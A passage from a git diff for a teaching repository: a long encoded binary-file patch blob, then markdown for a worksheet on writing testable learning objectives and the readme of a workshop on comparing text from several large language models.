z;VX6Ea2pR<1!e3gu$vK1Kn$%w0e}qmjZBU$dPO$~k?J9u)aXw8?62?D*7FFrzbCm;vBJ6!cKQLrO>s zsHSn(Ki{jrucGUu0)ay$+NJvL&9z+xeEc&)^k9XayJxEKfLe1*vvHzp-L{|Q)jtA& zI4$s*&@9oWoc4Ez(Zz6xd;xWsXk$V5+hf`SQMXI|`?Q*CtlMBSrfCCi^&cLXK6U@( z5=}sN1}QhLuKneCDk9%qYTh(sc%f~jiA78|740`pmGR*mdp0$^I?-{7d6)I)){ncg z4w&7Kz`LP`RCS=E?#*t@*bp3S{L{2tM(rOhrNx(9zr+fRMOF5;3{yyt$+Th8_C8S- zsf9cmK9~VQl`y!NHrQ6)z=k(i#@xVRI-XKe3UG*K+%VvH8!EM1q7i%;>f*zu?BiyT zf0F7yXitu-g`}3F{cc8hd`z83+-=7kluY4Lrm-LO)*KmVJTOCC6OUf8G+G)$$x=6%%0~j9pfHvAgzEFQo&+ zvGL9Bj1vWrq~b_yL@($%nVuh?{*ZztG+V_}NRBJS%C?BZjhrL3IK~$%wT};okC%K zx_gc+h)xY`l>nGDH7;+=902wS?hf4Q1%zhN0LLj}izSNtMSm-h{auTs_Qwe_SIym3FZ;mp_TSMU~v{LrpSadTf ze?w#EUFd+USjqXQC!jjXNhOCGm%j?*D{+Aq7q)RKeW|1I^?7dwx$lv6*L3&EDF_m1 zg(~?Rq)vA>=KnAM>;Lv||MNdag9#n1(QL_TI&YcoBAWA~L)%Mx_tcFIGTR=py8iS1 zw!;A@Ng~2dUwp+dFrWc!6{-4s}<3aj3LLuMVB zPYh@7s;oaeNFPzfrXh!gyEsM<4y1RLjDgof&`?)$>E8Y#bts~ukI}&Gm7-%kncIz} zhng222f@Bh_BK+;S~2wCR7KeveM^PBI{Em_k$0?lFIDC4G!<=bE7{VSz1f_;qw4Yg z0>2rLneMkg*jJRh%aXI9wP;I!;f}$iIMaL^dkig7!OPXj`%BZdR~K%!0N-#&&FzEP zD+B!P5;cBot@^A3oHtMX1(R9ljNo$KQ`LOhn!3L#bys8B)~3uY=FFY7sR>0B1&ip~ z3T)op=jXF`)|*}$a6h7vuN*a>4Ptw!VQor_FCY2J0Y$@2&6oNLPS#?e*!lYLaYK9l zD22(#$qev3v>LV)Dj4dn>oeJVjQMdj=8GNSUc7}z+?0R1ymY(S@LWUb=Jxb0#>eqh z-<--tYk7NsGUVvFjvmGtbaZ4212M=Ab8+KqeVGSJGZIR>uFpX?;pe?|lzOCKvA`*# zKvOjI$$Vad5gg~H{u>Kr=PmF)6HkR{%H2`fdTt2h;v@m6dW7zud^l>g!!RJCBorn) zrEIGy+%%B8qdRSTWBS&rtV89guN7dD^;6Q}qKqvy`I{TEcbPKwRHnw2-%ZTyGmVlR zsKCkl3n6V8=LlvaQ}|KBV<1(DHC>$LJv8?zRUhuflOoWabmvfxtpvsgkb-y9X{YK} z3YjeI4D8HXEIwPA6<=18*kVf#VMG{NuJj{g-K}=aGl|BwQPulR=C2{jX#~iXxd*D# zHkVY!HTQowjRjBRSrDR`8t3i3S-HEaOLsNrZmLh)S#>imxuakl<%rv}6Dw2Ut`@`- z>3e4Jz6}9U$xA864C6`5*#3*phipfDz@KfoY)jj3HpF$9HVrMj&#DpQ79x00TbLYZ z{NMl2fA{Mb<2>vuLcABfY98HqtFVDJBZWJ6cV7MN{rsvW$0*U84dcg56Cd{2x22eV zp3-#Gx>U(eO6cveQp?5eagi5mj+>akeub4r4TO;h2OzZWugVH*vhn zwK1dN`G;kRb)!aJ5Q9V(w|mE($3MSa{5Q##|B&49=gBpH|DfniV;lS+R63g4c&9J4 z%wrYSK>j`HwIB7{7m4~j^kPQ!y--9W3kByC+Ww#@mHh&LVu^;K^0ADSecw3IBP!iF zq)2#zIOT^i2UJfGlV5CuQJF7ZU3T6=N)&X2e!hU}^YFP9Gc?4Uf|Fx#rxYS@*;#bD zxfv4ECp$#(O7-w+FGmfsj)>omV2m#CyK-P8amCRn0%16TYZNO{baN{4D-zBty93#A z$aYMiD#a+qD;n}~BjH1YiRCMqX5!Ptk7?*%Bv*!*uEcCCJTFoAEUg%1gjYR@OpuTO z!H(3G0Ul*mj#lz~=|?Ldl0-)fa_F!`l?O-_>WP(5Si{9zyr^rtgh>a15eY@f4&oyq zT#gIHE+V*@audf9XoN2iV*fgoGdOUWf{!VMM0Q6yO9*|Ixl`;_g@hR@>r=8z1!;gU zg$V?HU_wY-1jmQ8zd7H2VHQh^Myj6^2(WJo6H4{z3lNdN;;rq*>gY?S-1y3d8@yi1kfA3_sS<~~yC`w3GCBq3;PNpD!hFK|N zX5*kL@-TiXqi?B<)QLxBn(Irh#;@RvTAz*{&Bs=H<`p>Lu6|T`1iFpRJ&0Y>4YmL} zl$;Gv^>vAWO8kN*C5i@%VA=2T1}Gd32Q^he+t~PpEfzDh>Vsi>$u9wxm{mav_`(2F z)PTJf@RMIpTO8y~pQuVR1886>z;=)d3w#U5NyNDT>ADWa2nW0}GYgr}$y% zAXW7Q7Y3J?+r0~h<;>HCh|^T?&{W zemEP&e6X%)S~%#}R={CMj>Iox!3i-EHzAn>lG7l~66)o0ARkbh2tVL*3UCb5kcUPV z66OTGzDTrf5D5l+V5J~i0a%gswS<*c>b*akdAMdG)rHv;WP!^i@B~*C3L*YegMj6i zNDcY4fF$||KvZMGp<==1;(8HF1s`_`;uuQyw>t0W?SkUPK!*4`L<&2Jdm+D(K1+W{ zGDfjE*i)xiuJ=DURH3yB9|j zig+p`a1GGH!qqZWFr1p-2bCI`k2F<52C6_93j%Tnaff`NfXl5)CrNX;G`}BXh!WTX zMEb6eizeq7Aqu)wkB>qgU`%7_iL8lQDBwfEUIn3?AveCzKqz+zV6xGF0<6b3B(nma zX(6fq|7knz>Z%ExXuo`)KCZ$J1Mr zhp_~)EfLa+*_k0Y;T$Y~O0~jXPum23ZngdLG8jUiEs;!h&s5&phowwisIC2qZ$|Yh z;qh3+2c0#UJGmI)Q%F#mv~p7#8D$UDA=Tlh81rS&nb|n086%cTJP{t}awOMBYzswH z^AT_uu~apmH$6(sew3JL{H!@V#7j44^+F|bD#o)B0UC_til01#*0gQ4hDfWTchF$q z3PU^z-E^B)lxcZr81D{ys5J$|JfrtNTJCpU=*pzE4Kh$f>6`oSb_HIpXf#8hWzFh z3VZO+umbzSnT#qygz#VbP`tDz2g)w?=QBaB{5T!1Y9a0J4^IJ_vTL z&bLo=D9Q#bTjejt?2VmhTw+v=Kq#}g)qgw<`#e#r{Q12SO^*C!I}o#TjGgdLTz_XB z-+NQ{u_vE+VjlCmpfgoX3Foq=}!pYm1DK`JO z@SO@J5fs3`H6H=%jkzVyeCubVT98wCOhiD8dhz|kh5}gfs38b7M!A<3N& zJKBM#c{%#9T;L3yKTq6`{;4yDh_@)spXly-_hT9qEiihaf4T1H3-hiPp-at(9E6CD z`K&(odt9w2(L^<1(@fOZghK#TQ^WYT&ga=%BE(qj>Awbv_We{~PKwg+`=6Crgq2Ms znpkimCNL;cydv`|jUt72qlHH=ez2BjdmxtkW3QjBl!!24Rgink*=_&;AOJ~3K~%Lu zK06c>q!i1iJpJ}9`56fDM9Hmgx*8N16 zI$W$bUhCbDA<4HZ(7%*-W1d{^{^~rBP(QZJZx`?*?yM)#q$oA4`9tu4f$yts2#;Bx zV_PHF&)xzd#%fRhB+;Irp^!#jU-bmYR63fd@asvg z_3p1$yGEaqs`W4bC?uLpBu-C`9I&us%5MJ&Wi_V5Kk71;kaE2$-F{So{|aA@IRmuYSy~^Sfl(dXsW} zn(?T>Jf$OA#FV=JOF#KHYlyMVAF;f#u8#JTx9q=Df$QpMGK*BmG9=!`kwOy(H`PUJ);I{7xbakZ-wmNXDM1kRFw8TAF*DnJ`-CH#-1IGBc3SY zt|7hS9cU<~FA-0IFeIJy6t9O@cd77JBMoVP@QHY(FfBw4WJZp*AbPRdd}*id9Ri8w z@{luDq6HDx$6h#V2XeK8tA*(*LWCitJ@B{nv+FLI#JP&SS@c%vw#W5Csgc36#$4RQ5 zOE3^t0frD^62AaAikq{9A7HZ_@>0MF2cqa_)wL1HcOxi?;>rroMvc=vfFUBUXnL+U zRiOY-9%Z%x_YkSefp8}uEy%c2s7qW;kxfKALql+S1->TSZN!lpqDiBm0?*`Vn^eCN z2(LP+F(KIrHb`N&z?h2UhmcYpo()PocLw@G&Vu-GwggRG3mNRLc}0@Imy`JR91i;_zki5iHoY2 zXRlkJT?4w;Att$uZ!pL{8mLxq@8J2&r?`yL#$Iv}6&3w}0~%&HN9-{CThJ5m1-%{+ z)f4mv*x7;^ObtU^FlZh!i~9oj2M=VC6^y{kqMutL1PidoK75^-A423-$c2sy|8gUB zQ5KPCOa`5O;8+UpH9rh);+QC2u5c+1Ddh1}V1;Nz1I9xOl9eDNh$CFsc^DEGnSkL( zy}~jnfS}MY{)Iu7a5xkW`Uv5+cxss)Y_%|_AwrAcsU8ZdjNu_JSll^LUqMG<4IZU` z4L{bGXhfb6JZgs{{!aqKC*d&?Uo7wu3q@Di$a*OA zMHdtBfuBQ|9pdT+IO<}KLptzonCxMMaV$mdFEe|(G;N;W(*580_)pMO6g=#kr4<{6 zB|H2q2ir*22?0l0=69F4mRU|u3?Jho@RJ2na3Z46pDHbradbG#5s=wBWtW1&}gh zQ6D(~J_h-#8HHvzkW?tilO25wv(;4sgd~7%&I3k5>~9c}6O&BsNgzpxZ#;_TEE@=2 zMHj&^x?aM1JIuJ)4FLZW(7AX)_zBAc4-!kXFup~~AtxtHl!OoriG$-(aSUOgKOgEq zO;`m4VOn@q6kim+D$$Tv!N-e56v0F#1u~2K9Ax4wu%{s0^ZCU9cTJv`G*sLG$Q&6Y ziFpW8Kq1cx`J27UJ5?<^k_xxq%RZl3F~fmDlGCC`1A`57jFG-_YRJtVMj#5Wn_AdO zp#?qp4;p|#5oT07zcokX)HEMy4!$qR8FZnBB@F^y5T%9v{@8zhw?q@5)11EH7n2Ns zn^N=V$#wt!QQhAr*ZulVamL`%3~LlC8ghm_Tn@*VS@x!vmQ6YBOef5HffQh_5#|$j zXo;xt1E(w`+W^AmPE{qXU4U9Aluch&{FnO;|KH=9ze=k5*<;i5>5W^HDy_^hUZU$g zE1L@}zez6Ll2`M_z@(W+ZiVPQ^T4i@(oRkiLCjCZD|9H;m^(PmgRM>zebl@B;{V^? zcYnuKW$FGI@4cU9&3bR9=S{zv?&%&H++gem=OCPIY>csuZERv2Fm7@%#>UuyF&MCA zQV}K7`=-gqGHV|CqG(UWNRpq%5M>{R;Rv9?kC!S39?$B2 zB++oZda@`)(_V^@a!}S|S(jLFZ>ny6e9P7(0i!4i?%Rl1P`uT^G8#d*(ovgKJSw12Jm#e*V4ELgbvFNm#2hM1WpAI-? zfTG^fed#qN%r5+9q4sT!z6RJ+((+oXWme#hqI3puFw6LI-OLDwVKHneQIVU;N}(VV zn+GlyX^v(!8`-1^G48*sF`p_dt0tlfJbWwfZL_tH#U%miS^vJTv-D06<^Duvn(RW| zW>Ya1$S%^a!kmvqX|yt^{ygI!wJ*Z>q8gujTwSv%y<%rU^A{5Vf$XeHDvbO>g%Z%o zz_gfLATVlaMvK_L1z;h{)Y&!$8o})(^lL>%ZSVNbTNU}tGePG^$bNjisO`;iqafiq zmR)zD-6|68sj;kpGA~Dz6gR~`2Ru{NzAdjYeJ)fy<*FK(cCf52>C9`=wZBTyJ&@7( zP=@Y-n`MV{YwH{fci=nSD*!4J_mrmTkJ@%o!gLTg-{RPtu3K@va7Wp2ypK4$1*^Q^ z-a0DX|OqzGUQ;r-^( z&1qG~YdUUD`uli==WIw`$BDL>B;{q*MkKBYYg43Vi&ETz^i)(Imw{OsY4i9rjLQ-( z%6KJ!HDv>TY_XVmdC4}~wx{Ucp2jsF-kAxn$kV=T9-HQQRT06~#L`c?tsT5ZIe^zp zb35|&W?rWH5xr(G$0b&so5H6d9H{L)SlHOXGtC7eP~TqIe05g&!i`h?(jU_5ix;FR zz$IZgfT#0}$28+NJ@~|lJ+-sjvkZDSJy#US>YP}e-+J1QYhGNo;XwPs$_!1pkF<|A z1;>E}+bbq3d^HeZ+|jc**taU(9V;`+3!8Mq1Dqc+@=*O(uJiKGQ=N~)~! z(&G?7b4pBX2_&UMko!lt@gnox!Fs4r`sNv$yg=r}d|YzD2czy}1#gck+fsGuV; zoGd_*1uyCy(ij!0PRze4a@9o=I9rK68G)IIcMiy(#i4|naxSzY=sXml%O`J9x4+aA zSY*GEsh#^&`j0HpSp{Pf_EvPB8Kl#NF)qdcgGh9NDdWt*JsI`ygsJ+)5KF_!n(W7> z*?aRk&O~v^gRi`Zk0Qw}WHfiA$<*tT+1Fa*+jT1KhO@xkM;3Pr zvw1hM5iOoXV>GvfVMjM(8--u9}~*fvdgtu&i9bNzLR7 zhM)y_Lu2|?M(gtn#MgX0zvAn$$!_kBQ^}1lX@_)NOnKi;!+FE}Fe6KpbXg(?>f-(~ zaX%6l4rj30fmhpn8&utO#21M}%_G|jn=RbqDZszxn*XlAaCCUCpNB`H3vtOtjfVzO zlw%>REHuHu*vVZWm{yoWo1|C4#A~HoVW^KGZyb2Eyy@AFi9sHXW5A~kwqv<^69Y;( zLTcZbBKH&55qUOddGY0vAv75jmhB){wi;wbNsu>NxpS{7_+`53DvPn1pTf_Obhu`4 zzowrVY81DOVvBQKram!(sVKP)4ru$Hwgg1c(E&zwpHPjs*L1-7ApW7K|2?3P#XHQ$ zj00b^%xx<+mooj0jdj2|Zt!CMIybeK#i9kaw~QPzSjV{n=9Zf!30~r4nI=j)JYUmw z&d@W+BUU&)XZhLN`COq82zHXY9?bXwz8le&9AaPyI8p0-vX*!+BSiK^oEQ_pySmZi zH6!&g>ZMT@u@FsgA?ga?l6LUX)Y_e?rDtl5xmM32ojKr&K;1F3KdmHP!P(k@U0)RL zPRuWG5@&+M-VVX2Y=~fYZp)uK9Cp_ACK+PJcqGm8q5J;WIf%H0KfaYJ+Pvn`8Rt`Pe;dcP~Vefl-YaN5Emuc5ut?xXo zZEfS*<@9%@Sf++}gGi-A9RBCYB* z)7ZsP=ZS)b?O$h})=~A=8J=39FoylupHaFZrF@mT`H|GB-UxycskNgXWlwJ7Rp4U} zHmTY-Ht!*wyAe29(Y3aA{P38P z1su*RD{y&6cor26hu0<5TngiKAJ*S!t@o4aO|Cd4;03Czj#D|6kK8Ialw0>j|FodI zj0R}Cr-7N~v9uT6jp6lWJ~rAv^)RJ>ZK|x3vRsbR@LmfRq{%8N4r9B69vA|)NM~JS)n%kkDT^@Ea_X3 ztlgJXnK|qjWSL*qjPEV(tKzj>5MnKmF06QXj`)FV?Gt;FD<4hBeQ(IV!7y>S*D(Ur zTJ7ic!z~QxL0&aq*LA&EsUK%V^FeU{Ien9V%&p!XpMNx0cVl>7F!J89b#`|n+xH@x zP$dAx37pW*JgJ@HYPO*$0)Ae%pHQ{EG8jG8v#>=~zf)Cr#TqfNN-XsD_p@?dEo(`$ zMT=ejPdkSmNv>0QF&330e8I%t*;ToQhsuXushLjf^jvEl?&dus;d$fAllZK4YEN>d z@St&xJF<4Y3^Z*(S{V1|H@sw-A;%|Mns(p`?ZC#WfnwlrR_lkx$zcH>K>RFrs_OJ% z+IH{!m~h{8(WjK8kbDF z>=H6NoxjcNdY6dfi1_}P6@SQS&T}Y(R2Bor)s4GU)o1H_N=IB-J@y@H!&5cG#N^2X z#;!=EQ*+m?&eH?)>r%>zLz#Wt#7A1z_C^TLkIM)3w*8vP&m|n`iN4S_Ep{zF8g;Kp ztA4j_Ol8OUj@eD|WxGoZB}C$lM>Fa!j?K0Zx&^&7Wl&O(~k z7dqv2NiA;}rsi2A_+Uy|UpAZ$Y%A)2Y8=~ItO>wlIc1F@f?ylN<*}y04cd|4K?I4FuEjMOpzmYXH-HCc*1xG}h}=gYkFy$fw@-+8&z<8|ZQgDGumiic0>hue9L zu>++t)}(9Sbz*If{{3NF1Mr0#+mbppKDwh|jon<;eP4CQ-ipds4Nd01&>zLt}E8W zJG==K{>SqNj^>$LWm4Pikn5)%ht+jY>qfGtaJ@eoSJ1sCwYJ$l<)~AHKk6IRnZKbD64<9o%|$REdwj_Tkb10zTG@jXp4L?{oZLOV_+K=(q*E z-0xhOuKjd8G{H9c3{dO#l(W(+6qdN!(X&GmS4W{$I%CxP`~1#lCSYV0&k9&$YlOm6 zsMv+aQycT=WI{0}feuHBn$QJYDy-T6nR?xgvd7F*B|KNXko~;Dm*K^O>5co0-iI?< znq|zf@7oJ#BG{E$le0jE1~F#>`;7h#wKM{RS>co5i_$>3)b2WvUf0E*R4O(_I~d*& zsHn~e@N9MOAFGG0{EXo!RGrTMlhN_ta=U(|s=r62{fEq!KiO!1c8YDfrwd!pv<#Z~ z?HKSvr)Ry&NQ*P=g%GT{m?7`{EH-3n&BFH>p$`vMng8g-uGX0|Ry^14dw&WC+veZw zo1X*v73|RV9_sbz`CJ3=iqXEgv^x{XAZ@7bOPjBkpK*Z)3f1Y0j_(oLT&s6crd^3ybtS2%-4Wz>gu)#IcscC#(--f{A+IGeVX0^ zo>x*}9*Qy(#E}Z~^Sy2ptL+0oV%PNk)GEDjL4-)1?*=xPP5nz|k4h%h-i?R@Qbh!D zNo8Nn;+=ladUb6!aK(?f6hpO-dLhjA=IZj^d+K`2*`77CojAk&MaA|cIAyXNpVo|Q z%QNOgXbV*a`u(9b*-dW-$b0Zgb^DWL{eK$9y}6BFvs#qaKen!{?JKSeHwcs{*qhn* z<@kIrtNa)18aHJYRWSDT0vG3Tf4Z({fjkusUPtqQ&8db0H{ExZLze=)JezT-s? zLC~bTrnlXbX!u2n;r9vUo0IeRWT-zgbx*Lvr^=1TGd1rI&zZRgO~Ad?Lt9K%3meWv z&K4p|Y7RJOp4*jG*THZP1#>=`$571EK!i0hpi#JzUs1+^-9@cWw~S5j@q$IhEr*GpHH1++`W#3b@UK!e zo*r=a(&PyRX@8og>ly9XuT||&_IQV5{>~s^iQ-JI;Xr9m5_?|Gb}jt(%=Qg!Ho^bu zfilPIaN%@#SDNOlaUTaO$cVZjdm{+Dc!GV{+_N*eqMSELX`5d{TFdl(Y5I31WcpAT z!t?E}P1$YnlTrt-)yMMcFAR*C8KAAe2lH5~uIpQhAfs42c?P&JgSDB49yTSw)aA!D z{fB#l8_F#gJb1p{^GB0=b9v9_bA-iRQT#5a`t<-!ss$d+pBU#hsT$SnkK3D6lr+8| zLS9^oJg*?FYyRQfwoKk~As4uU5d|k}XV+zPck&z)PUx%%))bjf*bvw1Oa^urTc2}b zZHcLyWw;O}C*#)&eqB)iyHZm&^|%rW5i$8p6l=38UbB(wUF-%pfstTjj(nzs+6qv; zfHh^-U#fc3CAyA?fGG%thE#u9_?Wd>0Vs)9P zIjIPKTn{iAC5tj`z`r4>GTuW6(`K(C4~3*(q*ZU7!N$_A7i$L%QB?ZzKvu(b-o1Uh zqWg)eiCW>AVvu@I*K^(ZXmR z!seu|BvyojBr%yQ%HyMk!HxN?*MUrzPw(^gNzn;~A~2}>@1(RfwMxqj-dNHBSDP;K}_qISdQ#Rn_<@6}E0?{SUs zl;isGC||%6snu6{X9sw4G8L#-k^Q3h@^$mXfyB}b2kCbrI1502hhs~=A)XB!+He4# zsTnw_F>9$x6dq5lyxcq1Lk?Pb6!>64TAN$DXk3ffO_}&`FUAm!=A=yP>I(+jR{iYC zyxyC@MH}{1_OB}K_`*+9t0RJcN-I9kcMNh>sf2dNw)~bt-km(0kdrv->SvopkTNF? z%&%8B=dol&#g*iasqLzcYxAV8ihaphphU*nJmdBr-(&sZ3fkYWZ0rcfwM^16GLh#F z04I%>O-%zU)W)|5JcBerhzE7h<6oIk{!y6P2FL*=un_T!per!lw;lMXZF*zz&_?al z{_2i4_U6n2MPbAx78bj_t-xE>$ir1b$82~gS6}O=%0p6=w7G2s?XQl9$7v=;!w7~Y zUqA_Pg>o{43#M=|q4JFui|`N7{iA__sQjyfmcOsGywDryV>vX;;lYghPuTuClWRJy zv$wI^JMhd{Sd>+9 zMUZZCY$>eE;q{IDJ&Wm7WMk^0*q^3*w{u{K;Sa<~O8Uq&P&jHeE>PJoNx`Iqt4?e$ zr%5u2FqNbLradUN;aAypU&U5D5f3cxFv5FSodGht;!2E{oQjnZEeNzYaai5;MvGH; z?uh_d2}j}f!ao71CKsMat&1O_kPZ)_1EsA*6hgEeCCxb;@a<>w>ch^V?YWvt-hDfg zr2Wi1J;?LN0$gxnqe|b&aLLhQQ3>uD;F2x0AyaGOZAb75{JIstF75q&L3cI~53I~? z{O3}`RpCGk;{T|$XZ_?SlGuBgV4B-hWXxwBcytjA&jU zYZ{Mcw0+X&9^hkwq-chnJfAmYx8GN8dC4~o>0ST;6C6oIK~zDWpp!Md|5Vtuua`osdq&2fFNtTOm$4MD)Qiwq?XGQ zR1j)Kss4gHI>B980BlV!P|r9lyb{Fabll(K`fW*vCZJF;g8=LiY|raGJ4T=op?OXv z27*dhl>aaU@K{dgvo+R1z!9cM58li2bwUB05@YSYS8aG|oE9E|*JZ_EOWIMg*c!c0`eRV!gUn#iK&-_g79x z>r$IjxPL`RHbry;*XqpsD_W|>=Uj-LQce`Q=12DE`fN?BOm2}duQ&S|$BuW>=oLe~ z&5oz?yFM__i+X32sz7{0VS~f{a7N>Gj-ckSKe^QrT$^pU9;F`qdHj4gqJ3ZVh7Is= zxyCl&$)d_<>&(qOK)Zpb8fFfa^;sDKGwoP&HMby0-dPu*SFl2DINIY9mY^$w)DFj{ zqH2L?G%!R=5RaQPt)89bqZPdED9Sg82zU!{Iy3J|TTdS!)(@N;kM1dJ< zv`*ZgS96Ok&@jUUSqBtuPJL!$i{ne<^x^c%1|Bzlz^veey5p%9UkN*F#I`rrT?^VF z=X<1`s`@Kav=J_%6NIbS6(QSsYbDhI8|F2<8+f{~_GDFa3s9@zRBHWaowiCg4y;<7xe1D!v-={n(gS5-U64!9BEc=hDQ?4EYs2!2G@y|!52#ZfzHz`E4Jyjk}cKiAbB z|NqQ0|4X^KJRrFhN#zcbD4tGh__$-Lg9qDt^&@+;TPk^U zS%8nH@o;=ig^j}Tg@INV!LD01S#F3hCZVIz=#7M@6`XB%+>_IFZ!Y;6XP84=AX;2m z=b14ofli}bMnTuqn%ufHR;mup*2X$3_`!qkSku&Riux`Bmw{_Qyo}5s zrPl?3{)n`-)V$H)zYwIL(61DH6-I_a5U>E;>~Q_AvgsJ`VHB4fIMqD2^_DizN?UDg}OPymKjG@E8M-$S9go+N%rlJ@ZISR?^0xnt>9?8}k8GN}UDcR{OGc<1vIGb5_ zI9OD_D!;yjhu|!5by(S=?s%?!_S!sNYm+u5c5Eo@Dr1?C0gvWuc2{;@7?m&2V3THQ zeNLNRp`D6h;JIq^zm*Lf4$(7y4txdV$mH0vLKy;1>j!_MYR+Ie7mdsRn%;EALHf}& z@MhQi>RV;?T;gn6My|#8K(g+tkG^sONfX$W-Trc)?OFuy*swjL{%XsljlU|Ma;?iX zy*f!o>ll#Z#g?0O7urKjKmzbkN=1oFrfpN8OUCNzzF*|k<%L2vE?hDl#?dOv%e_Id z!N=n9Dhvb{P0{;rnx3D=N5C!KYAg-W{=+b=H2@sT zX?~>2{4wyg2L*Ff@PxjTqh26+8XM9LdrNy;_<|IQ!}}F+73LR)e4?Vb5 zdrG=Dr|S-vcYbE0pyzpD#!H5P-ifC*V{5WHHmh3SpTQC1 zWmkqw=)y_7wF3+He_6INzhhmRcI}OdttqArUp2&iSx_G#7_|eJ`~5phI=2?pZ!gxo z(>HA9(ZgZA9QzPKkKKDPO)YYjICVD?q;M1R!9SN>bs)R(1%s_LN_GUzBpH44;fIpS z{$1Vt`&7-U7P!7c*KV z3J$tDjSVTaJ*=aJAW`UY7`u~lue9}yvaNKsP;*SJZDR~|a6a?JK`Bn%d|y)a!8*r_ zeb}03sN=O^jsrpe)Hb#&y>?5M{&y<#;g-1$MuBbxC)L#t<~05?v*9wUJ>8O617WRBhHwh)e_X)gD<#GV5i27Zr1yHcm~dpE@EA57G&PSdPOtJs!S zx$CQfto}JsgK!*39#{6O>(*zM#c7&87`Id40?$#}^#-17H10^QIF!-&Lgk>ABO!up zyUhV#yRfC)vMRG-ZE@!lBUqi;QtR@Il`o`F&*sfU_m;OltghLouK3b4xS0P-gdAv% z;<1~hS4@)wz`R0va#DnBg2&Xlw>qW-qDev2_WO2cRpyg+84V#Sg)lT5Jg&+u3vm$_ zg?K!oEWpdUw)HCQ{c6K~H!C-!*R8r$xHU05XJWz%c!HSl<6MJdYeL&G)zFzn_wL5g z=M0uHA4Xi*n$UVrYUllly48v0tCI@XCFJb5m8BXQ^+5_EVgnKf?T;0;txnZFQq=kJ zG_5yc6FCNGi^KCS#kKE6G;(f6s244~Zcp*Vn28MzFc-0lCxA$-6_u)~{2-U%l0ox< zYmJlsFM{kzMx>@wq>O+?CeI)VlFOHWM){6*2FE!*afa0sQB~3&pe9Z6?_|tuWD=q% zm57ee)fX##a)OJGl9v4e#S@|sEy5bA14BmvLBAXgx@6k48{!*H^4jR;hngd&IQc2W zRJ6oyN^(%>I#Gt>DK=EQSw#}3(*`{A8O-xqO7oM=UZ+9^J8wD3QLa8G^HhJe4|{S4 z$X=jKDc3yQq)>=I+H4UUWaUiGe zY*j-S<)0Hn$T&+<7@?EY1riT(^8JgzGzwRa(#DHeKSVmVjoZo7J`|CI!l@(@{zd${ zAn~9$k09lfP@zUx%jq-Xy*)k zv6&*q2(@;SAJfTg6A^_XGu+J^yB^lp#%U}?7Fc>BNOg{zB$BA?i#zFbO^HFI70|I| z-3+|!z`By|E+8OLi6_dX<>4{T^WQF$zfYJJB9B$nRuvU3Lo%5iQLbrd=Q|3JkR$Mh zX#hLOoDW41lqE`Fb@QO5(rLMG4Fv`BbRo@sJUFC*b9tGG>;rC3O|nlnIA;V zJBlFTV;9KapeThX*O;5<fK%`&=rARoUkn4`yC^&Y+-bRQ}X&4ODn{=_e2ld3e<7e7IpAvJ(ChWrq^+iTor!k~tTGZmRSqQTGXOp-mP+ z;=vbGLR2;_EcrZPR~UYYh-pHR2;~D%YKK@G{1F5_@VKZ%F>Ai!5vb~NjA<##R}D%M zZ2_{9N*NOT)MBGMs=yyoypkMXN;4raF`Rg966{V&C`5Hil&~|z7f(a0Ih*lf4WPGyuwbD3StHtFM8%R2#NLh&9sd<#R>6^?=9?3qDaPWZ$xr>J z(8%|(awjr}=qgJLIJX0oQtXq(Z@G73!&02E*pI}_@r@xQkaS51G8GIC zuuhk5ah%N4?M^5?l3bq9HaN}wK?Hh>LJ;@jI|~5dhAmzE8&AD>{iT0Pk1js>HtXeW zX~!Py_6bYFb*W!s$HcBK-rxSqd|D*5nBeGkcb;^|pp9MQ=kotAS)D(ZXZ%S#$Kn8G zRPwS3Z)5{!hEba}8=jC$W9^Pv^sNV&XB)YT4NsB45aVcFJaEY&LSXt={QQ-N{S{Zb z>kbjj$MJ6(C0a>>lZQnZQ&)$A( zsIo7M4vLWHEoNTuS<8s_XTtl=4@jahU%{dktSAbb|5Wq%JJ0#)eJIAoxBmY0n)zSV zqGd$;FOswvae`7?q-QNMPygWi3nZi~$+Z1IDuzg+{J~dRK7m$(B~Xj9Fo__S1^W$8 z-%nUn-@-ES_9xulAGvAEi1s53`1a)&9ks%d%ztSLk@M^hXV;&3jBlSGdvzPpcuQaz z(PD!6oBl5$+Tykh?R|^iWkma%1p5E_q-8|=ujv7qVm-v3Vr*~h_V(Nzo?H=jbw?z| zpEr;3PavO&U}8n%&yQRFJvF{Q2LXOw;eShTIVfcL#+1?N1@P=5IfL`OI%hK*)1RF!x>+_D7z6B1a0=cO0_iHqGOr!FJfUD8p@&0Lni50=0ZkS)FV!I!w}PFO~? zyROTY8@w!mzfuBAK(_SauRQTCK5QA$?&8i{Zu+tW{-OkyfNbf-Up)M0@#Qk2{Vck1 z`5~4i@EsCZ08qdZi~kE~XU#f!jLP!> O0000 Instead of a state of* being*, choose an act of _doing_. + +It's common for people to begin writing learning objectives that are generally phrased like this: + +"Be able to understand this concept." + +Let's revise this. + +1. Start with the verb: + +~~Be able to~~ understand this concept. + +"Understand this concept." + +2. Make it testable. How will the learner demonstrate this understanding? + +"~~Understand~~ Solve three problems about this concept." + +That's it. + +--- + +Please now explain in writing, in your own words, how to construct a learning objective. Write this in your own notes. + +Next, there are exercises for you to complete to consolidate your understanding. + +## Worksheet + +### Here are three concrete examples: + +#### Example 1 + +The learner should be familiar with the VSCode interface. + +~~The learner should be familiar with~~ **Open** the terminal, command palette, and find panel in the VSCode interface. + +#### Example 2 + +Be able to ask a good question. + +~~Be able to understand how to~~ **Ask** a ~~good ~~question using the formal language defined in this workshop. + +#### Example 3 + +Feel confident with higher order functions. + +~~Feel confident with~~ **Use** higher order functions to solve array and object method problems. + +### Now here are three learning objectives for you to revise. + +#### Objective 1 + +Know how to respond to feedback during code review. + +#### Objective 2 + +Be able to refactor a large function into several smaller single-responsibility functions. + +#### Objective 3 + +Believe in their own ability to succeed. diff --git a/llm-writing-1/readme.md b/llm-writing-1/readme.md new file mode 100644 index 00000000..731c42ed --- /dev/null +++ b/llm-writing-1/readme.md @@ -0,0 +1,96 @@ +# LLM Writing 1 + +## 🤖🫠 Overview + +A workshop to help you write meaningful texts with AI and stop dismaying us all with gibberish. + +## Learning Objectives + +```objectives +- [ ] Generate texts with multiple large language models (LLM) +- [ ] Compare the texts generated by different LLMs +- [ ] Identify the problems with the generated texts +- [ ] Use the strengths and weaknesses of different LLMs to write your own text +``` + +## Requirements + +1. Open accounts with [Claude](https://claude.ai/), [ChatGPT](https://chatgpt.com/), and [Gemini](https://gemini.google.com/) (or similar) +1. Open each account in a separate tab + +I have provided a series of queries for you to run in a sequenced dialogue. Just as in coding, you will use the predict explain loop to first make a prediction yourself and then compare against the computer output. + +```mermaid +graph LR +A[Predict the answer] 